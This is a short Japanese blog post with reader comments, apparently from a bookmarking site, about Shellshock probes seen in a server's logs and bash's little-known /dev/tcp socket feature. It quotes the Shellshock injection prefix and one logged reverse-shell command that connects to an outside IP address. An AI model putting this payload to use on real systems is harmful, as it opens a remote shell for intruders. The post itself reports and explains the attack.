/dev/tcpによるbashのソケット通信

件のbashの脆弱性が残っていることを期待したアクセスについて、24時間ほど前には来てなかったんですが、さきほどログを見てみたらちょっとだけ来てました。 ログに残るのは User-Agent ぐらいなのですが、ほかのフィールドで試している輩もいることでしょう。 アクセス元を逆引きしてみたんですが、クラウドサービスばっかりでした（一個だけ shodan.io なるドメインの下のIPアドレスからあったのだけど、なんだろう……）。 さて、() { :;}; の後になにをやってるのか、というのなんですが、一つ THIS IS VULNERABLE と echo するだけという人がいました。警告のつもりなのか、手動で何か確認しているのかな。あとはpingだな……と思ってたんですが、ちょっと特異なものが。 /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1

[mumincacao]

環境変数で関数展開も初耳だったのにぱす名使ってそけっと通信とかこれまたなんで搭載したか謎な機能が・・・ もしかしたら他にもこの手の謎機能あるのかなぁ？（´ロ`；【みかん

[avalon1982]

これはヤバイ

[jgoamakf]

「思ったよりヤバいやつ」

[ktakemoto]

キワいなこれ

[tmtms]

"えっ/dev/tcp ってなにそれ、と思ったんですが、Bashの独自拡張で、このパス名を使ってソケット通信する機能があるんですね" / bash こわい

[mongrelP]

なにこれこわい

[ockeghem]

『えっ/dev/tcp ってなにそれ、と思ったんですが、Bashの独自拡張で、このパス名を使ってソケット通信する機能があるんですね。全然、まったく、知らなかった』